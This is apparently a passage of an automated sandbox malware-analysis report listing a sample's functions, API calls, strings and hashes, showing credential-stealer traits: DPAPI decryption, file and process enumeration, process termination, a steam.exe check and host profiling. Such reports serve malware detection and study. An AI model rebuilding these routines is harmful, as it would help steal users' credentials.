FindClose.KERNEL32(00000000), ref: 0041E5E8

Strings

1#v, xrefs: 0041E369
%s\%s, xrefs: 0041E3C1, 0041E410
%s\*, xrefs: 0041E34D
P2#v, xrefs: 0041E5D9

Memory Dump Source

Source File: 00000000.00000002.2667810022.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2667810022.0000000000484000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.00000000004B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.00000000004CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.0000000000567000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.0000000000638000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_2BI8rJKpBa.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrcat$Filewsprintf$Find$CloseCopyDeleteFirstMatchNextPathSpec
String ID: %s\%s$%s\*$P2#v$1#v
API String ID: 1375681507-4226942003
Opcode ID: 2af9058a53dee4039c2cff40dff2cf1afa0f443a201460ec5605d54ac3acebcd
Instruction ID: cf8004079f8e9b5080cf5ee4d584230cf7abba7cc6497252cca363d9213f71eb
Opcode Fuzzy Hash: 2af9058a53dee4039c2cff40dff2cf1afa0f443a201460ec5605d54ac3acebcd
Instruction Fuzzy Hash: A681A5B15143449FC720EFB1DD49ADF77A9AF88304F00892EB94987291EB78D548CBA5

Function 6C9B35A0 Relevance: 37.0, APIs: 16, Strings: 5, Instructions: 294stringtimeCOMMON

Download Yara Rule

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32(6CA3F688,00001000), ref: 6C9B35D5
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_TIMESTAMP_MODE), ref: 6C9B35E0
QueryPerformanceFrequency.KERNEL32(?), ref: 6C9B35FD
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,GenuntelineI,0000000C), ref: 6C9B363F
GetSystemTimeAdjustment.KERNEL32(?,?,?), ref: 6C9B369F
__aulldiv.LIBCMT ref: 6C9B36E4
QueryPerformanceCounter.KERNEL32(?), ref: 6C9B3773
EnterCriticalSection.KERNEL32(6CA3F688), ref: 6C9B377E
LeaveCriticalSection.KERNEL32(6CA3F688), ref: 6C9B37BD
QueryPerformanceCounter.KERNEL32(?), ref: 6C9B37C4
EnterCriticalSection.KERNEL32(6CA3F688), ref: 6C9B37CB
LeaveCriticalSection.KERNEL32(6CA3F688), ref: 6C9B3801
__aulldiv.LIBCMT ref: 6C9B3883
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,QPC), ref: 6C9B3902
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,GTC), ref: 6C9B3918
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,AuthcAMDenti,0000000C), ref: 6C9B394C

Strings

MOZ_TIMESTAMP_MODE, xrefs: 6C9B35DB
GenuntelineI, xrefs: 6C9B3639
GTC, xrefs: 6C9B3912
QPC, xrefs: 6C9B38FC
AuthcAMDenti, xrefs: 6C9B3946

Memory Dump Source

Source File: 00000000.00000002.2676141652.000000006C9B1000.00000020.00000001.01000000.00000012.sdmp, Offset: 6C9B0000, based on PE: true

Associated: 00000000.00000002.2676117000.000000006C9B0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2676241303.000000006CA2D000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2676273767.000000006CA3E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2676302652.000000006CA42000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9b0000_2BI8rJKpBa.jbxd

Similarity

API ID: CriticalSection$PerformanceQuery$CounterEnterLeave__aulldiv_strnicmpstrcmp$AdjustmentCountFrequencyInitializeSpinSystemTimegetenv
String ID: AuthcAMDenti$GTC$GenuntelineI$MOZ_TIMESTAMP_MODE$QPC
API String ID: 301339242-3790311718
Opcode ID: 5f2f178339c994097fd0b09515ee15c95f0b392acdb0434e541dd6ee6e267ff2
Instruction ID: 87403082c938be67d6c1e618c3618aff72c4f112377296f8b953543000be037f
Opcode Fuzzy Hash: 5f2f178339c994097fd0b09515ee15c95f0b392acdb0434e541dd6ee6e267ff2
Instruction Fuzzy Hash: 4CB1A071B153529BDB1CCF28CC6465AB7F6BB8A704F04892DE89DD3390DB30D8068B85

Function 004015B9 Relevance: 33.5, APIs: 17, Strings: 2, Instructions: 219stringCOMMON

Download Yara Rule

APIs

lstrcpy.KERNEL32(00000000,0042D01C), ref: 004015E2
lstrcpy.KERNEL32(00000000,0042D01C), ref: 00401619
lstrcpy.KERNEL32(00000000,00000000), ref: 0040166C
lstrcatA.KERNEL32(00000000), ref: 00401676
lstrcpy.KERNEL32(00000000,00000000), ref: 004016A2
lstrcpy.KERNEL32(00000000,?), ref: 004017F3
lstrcatA.KERNEL32(00000000,00000000), ref: 004017FE

Strings

1#v, xrefs: 00401A45
\*.*, xrefs: 0040186C, 00401894

Memory Dump Source

Source File: 00000000.00000002.2667810022.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2667810022.0000000000484000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.00000000004B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.00000000004CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.0000000000567000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.0000000000638000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_2BI8rJKpBa.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrcat
String ID: \*.*$1#v
API String ID: 2276651480-3771783980
Opcode ID: ea316d93ffd7c532755b0b194f93829e3024d62fa04d69576c698ac566fdc67f
Instruction ID: 5d71eed035e4f77df50c253e909fa15e9dd5f5a19bbec427aea6166a61354493
Opcode Fuzzy Hash: ea316d93ffd7c532755b0b194f93829e3024d62fa04d69576c698ac566fdc67f
Instruction Fuzzy Hash: 41814A71A112169BCB21EF69CD89AAF77B5AF44304F44413AF805B72F1CB78DD018BA9

Function 0041D640 Relevance: 29.9, APIs: 14, Strings: 3, Instructions: 183stringfileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 0041D65D
FindFirstFileA.KERNEL32(?,?), ref: 0041D674
StrCmpCA.SHLWAPI(?,00431D70), ref: 0041D694
StrCmpCA.SHLWAPI(?,00431D74), ref: 0041D6AE
lstrcatA.KERNEL32(?,008124B8), ref: 0041D6F3
lstrcatA.KERNEL32(?,00809A18), ref: 0041D707
lstrcatA.KERNEL32(?,?), ref: 0041D71B
lstrcatA.KERNEL32(?,?), ref: 0041D72C
lstrcatA.KERNEL32(?,00431D64), ref: 0041D73E
lstrcatA.KERNEL32(?,?), ref: 0041D752
lstrcpy.KERNEL32(00000000,?), ref: 0041D792
lstrcpy.KERNEL32(00000000,?), ref: 0041D7E2
FindNextFileA.KERNEL32(00000000,?), ref: 0041D847
FindClose.KERNEL32(00000000), ref: 0041D856

Strings

1#v, xrefs: 0041D674
%s\%s, xrefs: 0041D657
P2#v, xrefs: 0041D847

Memory Dump Source

Source File: 00000000.00000002.2667810022.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2667810022.0000000000484000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.00000000004B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.00000000004CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.0000000000567000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.0000000000638000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_2BI8rJKpBa.jbxd

Yara matches

Similarity

API ID: lstrcat$Find$Filelstrcpy$CloseFirstNextwsprintf
String ID: %s\%s$P2#v$1#v
API String ID: 50252434-1025293131
Opcode ID: 923e56936e9ace4939d16d73967e0d1f5cb6ec64a4eec9774cfd98ea1c9c189b
Instruction ID: 332c6eddb1ad53d307a191774cd34258272b6cd5e81c71a3a77e634b9f46c7e6
Opcode Fuzzy Hash: 923e56936e9ace4939d16d73967e0d1f5cb6ec64a4eec9774cfd98ea1c9c189b
Instruction Fuzzy Hash: FE6185B5D102199BCB14EF74CC88ADE77B5AF48304F0084A9F559A3290DB78EA44CFA4

Function 00412747 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 106stringfileCOMMON

Download Yara Rule

APIs

lstrcpy.KERNEL32(00000000,0042D01C), ref: 00412774
lstrcpy.KERNEL32(00000000,00000000), ref: 00412797
lstrcatA.KERNEL32(00000000,00000000), ref: 004127A2
lstrlenA.KERNEL32(\*.*), ref: 004127AD
lstrcpy.KERNEL32(00000000,00000000), ref: 004127CA
lstrcatA.KERNEL32(00000000,\*.*), ref: 004127D6
lstrcpy.KERNEL32(00000000,00000000), ref: 0041280A
FindFirstFileA.KERNEL32(00000000,?), ref: 00412826

Strings

1#v, xrefs: 00412826
\*.*, xrefs: 004127A8, 004127D0

Memory Dump Source

Source File: 00000000.00000002.2667810022.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2667810022.0000000000484000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.00000000004B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.00000000004CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.0000000000567000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.0000000000638000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_2BI8rJKpBa.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrcat$FileFindFirstlstrlen
String ID: \*.*$1#v
API String ID: 2567437900-3771783980
Opcode ID: 1988d2f8d8d9d94c41dc5c074cfddc51d8569a9ed14faba567c61b9399d138ed
Instruction ID: 2fabbf36cfdbbab06b1c67a58c0a5c1e5961023e71963d33b170a608aa72c439
Opcode Fuzzy Hash: 1988d2f8d8d9d94c41dc5c074cfddc51d8569a9ed14faba567c61b9399d138ed
Instruction Fuzzy Hash: A43153716106159BC721FF25CE89ADF77A5AF04304F44413AB858E72F1CBB8DC428B98

Function 00412749 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 106stringfileCOMMON

Download Yara Rule

APIs

lstrcpy.KERNEL32(00000000,0042D01C), ref: 00412774
lstrcpy.KERNEL32(00000000,00000000), ref: 00412797
lstrcatA.KERNEL32(00000000,00000000), ref: 004127A2
lstrlenA.KERNEL32(\*.*), ref: 004127AD
lstrcpy.KERNEL32(00000000,00000000), ref: 004127CA
lstrcatA.KERNEL32(00000000,\*.*), ref: 004127D6
lstrcpy.KERNEL32(00000000,00000000), ref: 0041280A
FindFirstFileA.KERNEL32(00000000,?), ref: 00412826

Strings

1#v, xrefs: 00412826
\*.*, xrefs: 004127A8, 004127D0

Memory Dump Source

Source File: 00000000.00000002.2667810022.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2667810022.0000000000484000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.00000000004B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.00000000004CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.0000000000567000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.0000000000638000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_2BI8rJKpBa.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrcat$FileFindFirstlstrlen
String ID: \*.*$1#v
API String ID: 2567437900-3771783980
Opcode ID: bce9681a4a57533e8b1fbf17ecc26c12e7a15247f8351bc8ef7246dc75793c1c
Instruction ID: b43c9010966496b01c4d1bcdfe7252313575bb763d5997deff8dad7d90d4b532
Opcode Fuzzy Hash: bce9681a4a57533e8b1fbf17ecc26c12e7a15247f8351bc8ef7246dc75793c1c
Instruction Fuzzy Hash: 094142716106159BCB21FF25CE89A9F77A5AF04308F44413AB958A72F1CBB8DC418B98

Function 004246C0 Relevance: 13.6, APIs: 9, Instructions: 54processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,?,00000000), ref: 004246D9
Process32First.KERNEL32(00000000,00000128), ref: 004246E9
Process32Next.KERNEL32(00000000,00000128), ref: 004246FB
StrCmpCA.SHLWAPI(?,?), ref: 0042470D
OpenProcess.KERNEL32(00000001,00000000,?), ref: 00424722
TerminateProcess.KERNEL32(00000000,00000000), ref: 00424731
CloseHandle.KERNEL32(00000000), ref: 00424738
Process32Next.KERNEL32(00000000,00000128), ref: 00424746
CloseHandle.KERNEL32(00000000), ref: 00424751

Memory Dump Source

Source File: 00000000.00000002.2667810022.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2667810022.0000000000484000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.00000000004B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.00000000004CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.0000000000567000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.0000000000638000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_2BI8rJKpBa.jbxd

Yara matches

Similarity

API ID: Process32$CloseHandleNextProcess$CreateFirstOpenSnapshotTerminateToolhelp32
String ID:
API String ID: 3836391474-0
Opcode ID: 31794d220843fc32869daf0815515cd9fdb01cafa73083098f7cfc23eab11e6d
Instruction ID: acde96e121e2a7afcea3315a204f3f85e54aecaf4105e29a1c9688e5f6c36e20
Opcode Fuzzy Hash: 31794d220843fc32869daf0815515cd9fdb01cafa73083098f7cfc23eab11e6d
Instruction Fuzzy Hash: 6301A1316012246BE7205B60AC88FFB777DEB85B81F00109DF90596280EFB499408FB4

Function 00424630 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 45processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,00000000), ref: 00424648
Process32First.KERNEL32(00000000,00000128), ref: 00424658
Process32Next.KERNEL32(00000000,00000128), ref: 0042466A
StrCmpCA.SHLWAPI(?,steam.exe), ref: 00424680
Process32Next.KERNEL32(00000000,00000128), ref: 00424692
CloseHandle.KERNEL32(00000000), ref: 0042469D

Strings

steam.exe, xrefs: 00424674

Memory Dump Source

Source File: 00000000.00000002.2667810022.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2667810022.0000000000484000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.00000000004B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.00000000004CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.0000000000567000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.0000000000638000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_2BI8rJKpBa.jbxd

Yara matches

Similarity

API ID: Process32$Next$CloseCreateFirstHandleSnapshotToolhelp32
String ID: steam.exe
API String ID: 2284531361-2826358650
Opcode ID: d78183e0b811bb9dcdca1f527419fcb9be917f48919f65ec69dd28118a3d25eb
Instruction ID: b42462b607a3d8316f758331f4e1388e4317bb3a547fabba668ae496cd624066
Opcode Fuzzy Hash: d78183e0b811bb9dcdca1f527419fcb9be917f48919f65ec69dd28118a3d25eb
Instruction Fuzzy Hash: CC01A2316012249BD7209B70AC89FEB77BDEF49750F4001DAF808D2140EFB899948EE8

Function 00422D00 Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 235memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00427210: lstrcpy.KERNEL32(00000000,ERROR), ref: 0042722E

GetKeyboardLayoutList.USER32(00000000,00000000,00000000,00000000), ref: 00422D3B
LocalAlloc.KERNEL32(00000040,00000000), ref: 00422D4D
GetKeyboardLayoutList.USER32(00000000,00000000), ref: 00422D5A
GetLocaleInfoA.KERNEL32(?,00000002,?,00000200), ref: 00422D8C
LocalFree.KERNEL32(00000000), ref: 00422F6A

Strings

/ , xrefs: 00422D9F

Memory Dump Source

Source File: 00000000.00000002.2667810022.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2667810022.0000000000484000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.00000000004B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.00000000004CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.0000000000567000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.0000000000638000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_2BI8rJKpBa.jbxd

Yara matches

Similarity

API ID: KeyboardLayoutListLocal$AllocFreeInfoLocalelstrcpy
String ID: /
API String ID: 3090951853-4001269591
Opcode ID: 5f0444619e01ea8ec23e65f138d02ecc6c7e19a2a86b236c40de7e99ce1f9a08
Instruction ID: 71b3002a0d0af4147f92012e5cf570871a75239a8ba3bb1288e19dcd876783b5
Opcode Fuzzy Hash: 5f0444619e01ea8ec23e65f138d02ecc6c7e19a2a86b236c40de7e99ce1f9a08
Instruction Fuzzy Hash: B4B13E70A00225DFC715CF14DA48B96B7F1FB44314F6AC1AAD409AB3A1D7B99C82DF94

Function 00422BB0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 46memorytimeCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,00000000,00000000), ref: 00422BE2
HeapAlloc.KERNEL32(00000000), ref: 00422BE9
GetTimeZoneInformation.KERNEL32(?), ref: 00422BF8
wsprintfA.USER32 ref: 00422C23

Strings

wwww, xrefs: 00422C09

Memory Dump Source

Source File: 00000000.00000002.2667810022.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2667810022.0000000000484000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.00000000004B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.00000000004CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.0000000000567000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.0000000000638000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_2BI8rJKpBa.jbxd

Yara matches

Similarity

API ID: Heap$AllocInformationProcessTimeZonewsprintf
String ID: wwww
API String ID: 362916592-671953474
Opcode ID: c27d5dc1ccf072ac262ce39e2b92bbf8fa77d537e40531b8836830f47939fc0d
Instruction ID: b4112dc6544327a6c5421727a2d096dd221ab6df565ee9754ef0a71591f6cbe7
Opcode Fuzzy Hash: c27d5dc1ccf072ac262ce39e2b92bbf8fa77d537e40531b8836830f47939fc0d
Instruction Fuzzy Hash: 3701F771A04614ABC7189F58DC4AB6AB76AE784720F10432AFD16D73C0DBB419008AE5

Function 004239F0 Relevance: 6.2, APIs: 4, Instructions: 175processCOMMON

Download Yara Rule

APIs

Part of subcall function 00427210: lstrcpy.KERNEL32(00000000,ERROR), ref: 0042722E

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 00423A36
Process32First.KERNEL32(00000000,00000128), ref: 00423A49
Process32Next.KERNEL32(00000000,00000128), ref: 00423A5F

Part of subcall function 00427340: lstrlenA.KERNEL32(?,00406D70), ref: 0042734B
Part of subcall function 00427340: lstrcpy.KERNEL32(00000000), ref: 0042736F
Part of subcall function 00427340: lstrcatA.KERNEL32(?,?), ref: 00427379

Part of subcall function 004272B0: lstrcpy.KERNEL32(00000000), ref: 004272DE

CloseHandle.KERNEL32(00000000), ref: 00423B97

Memory Dump Source

Source File: 00000000.00000002.2667810022.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2667810022.0000000000484000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.00000000004B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.00000000004CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.0000000000567000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.0000000000638000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_2BI8rJKpBa.jbxd

Yara matches

Similarity

API ID: lstrcpy$Process32$CloseCreateFirstHandleNextSnapshotToolhelp32lstrcatlstrlen
String ID:
API String ID: 1066202413-0
Opcode ID: 830ee4c4b11949f0be897b189bc9b9b4c07c6f327b53f434397edb72d04fc3cd
Instruction ID: 813a7da4e54768656d717b6d2c8c8f097a3819387c17d995331869bfd757bf4c
Opcode Fuzzy Hash: 830ee4c4b11949f0be897b189bc9b9b4c07c6f327b53f434397edb72d04fc3cd
Instruction Fuzzy Hash: 7A810930A04214CFC715CF19E848B96B7B1FB4432AF69C1AED4095B3A2D37A9D82CF94

Function 00424090 Relevance: 6.0, APIs: 4, Instructions: 50memoryencryptionCOMMON

Download Yara Rule

APIs

CryptBinaryToStringA.CRYPT32(?,?,40000001,00000000,?,?,?,?,?,?), ref: 004240AD
GetProcessHeap.KERNEL32(00000000,?,?,?), ref: 004240BC
RtlAllocateHeap.NTDLL(00000000,?,?,?), ref: 004240C3
CryptBinaryToStringA.CRYPT32(?,?,40000001,?,?,?,?,?,?), ref: 004240F3

Memory Dump Source

Source File: 00000000.00000002.2667810022.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2667810022.0000000000484000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.00000000004B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.00000000004CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.0000000000567000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.0000000000638000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_2BI8rJKpBa.jbxd

Yara matches

Similarity

API ID: BinaryCryptHeapString$AllocateProcess
String ID:
API String ID: 3825993179-0
Opcode ID: 1654423fd72de82e54ce634d70b22f0d0a00e139ff6f7135eda8dce405f6aeb9
Instruction ID: d2b09a1c624c39b133de08918eaa2f92ad29e846d2d732d6bc326f324e173560
Opcode Fuzzy Hash: 1654423fd72de82e54ce634d70b22f0d0a00e139ff6f7135eda8dce405f6aeb9
Instruction Fuzzy Hash: B0011E70600215ABDB149FA5EC85BAB7BADEF85711F108059BE0987340DA7199408BA4

Function 00409BE0 Relevance: 6.0, APIs: 4, Instructions: 43memoryencryptionCOMMON

Download Yara Rule

APIs

CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 00409BFF
LocalAlloc.KERNEL32(00000040,?), ref: 00409C13
memcpy.MSVCRT(00000000,?), ref: 00409C2A
LocalFree.KERNEL32(?), ref: 00409C37

Memory Dump Source

Source File: 00000000.00000002.2667810022.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2667810022.0000000000484000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.00000000004B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.00000000004CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.0000000000567000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.0000000000638000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_2BI8rJKpBa.jbxd

Yara matches

Similarity

API ID: Local$AllocCryptDataFreeUnprotectmemcpy
String ID:
API String ID: 3243516280-0
Opcode ID: d6986c5c4f938f64ac158f86dd5ebf18f182eae35123fd4b82889631517280d4
Instruction ID: abf8395257343a8b015b9f0b6c8a158c8b551f0c270fe32e84b7b64ff486a2c6
Opcode Fuzzy Hash: d6986c5c4f938f64ac158f86dd5ebf18f182eae35123fd4b82889631517280d4
Instruction Fuzzy Hash: F701FB75E41309ABE7109BA4DC45BAAB779EB44700F504169FA04AB380DBB09E008BE4

Function 004229E0 Relevance: 4.5, APIs: 3, Instructions: 33memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,00000000,00000000,00000000), ref: 00422A0F
HeapAlloc.KERNEL32(00000000), ref: 00422A16
GetUserNameA.ADVAPI32(00000000,00000104), ref: 00422A2A

Memory Dump Source

Source File: 00000000.00000002.2667810022.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2667810022.0000000000484000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.00000000004B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.00000000004CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.0000000000567000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.0000000000638000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_2BI8rJKpBa.jbxd

Yara matches

Similarity

API ID: Heap$AllocNameProcessUser
String ID:
API String ID: 1206570057-0
Opcode ID: 8d99d318415601690ae838a51b87a7364d012be2201e373feb9efb6fa8a950a4
Instruction ID: aa6ded6259508bede27090f4c861d2ca31da26e1ef70df7e495680ac72f078f7
Opcode Fuzzy Hash: 8d99d318415601690ae838a51b87a7364d012be2201e373feb9efb6fa8a950a4
Instruction Fuzzy Hash: 95F054B1A44614AFD710DF98DD49B9ABBBCF744B65F10021AF915E3680D7B419048BE1

Function 00423190 Relevance: 3.0, APIs: 2, Instructions: 32COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(?,00000000,00000000,?), ref: 004231BF
wsprintfA.USER32 ref: 004231D5

Memory Dump Source

Source File: 00000000.00000002.2667810022.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2667810022.0000000000484000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.00000000004B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.00000000004CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.0000000000567000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.0000000000638000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File

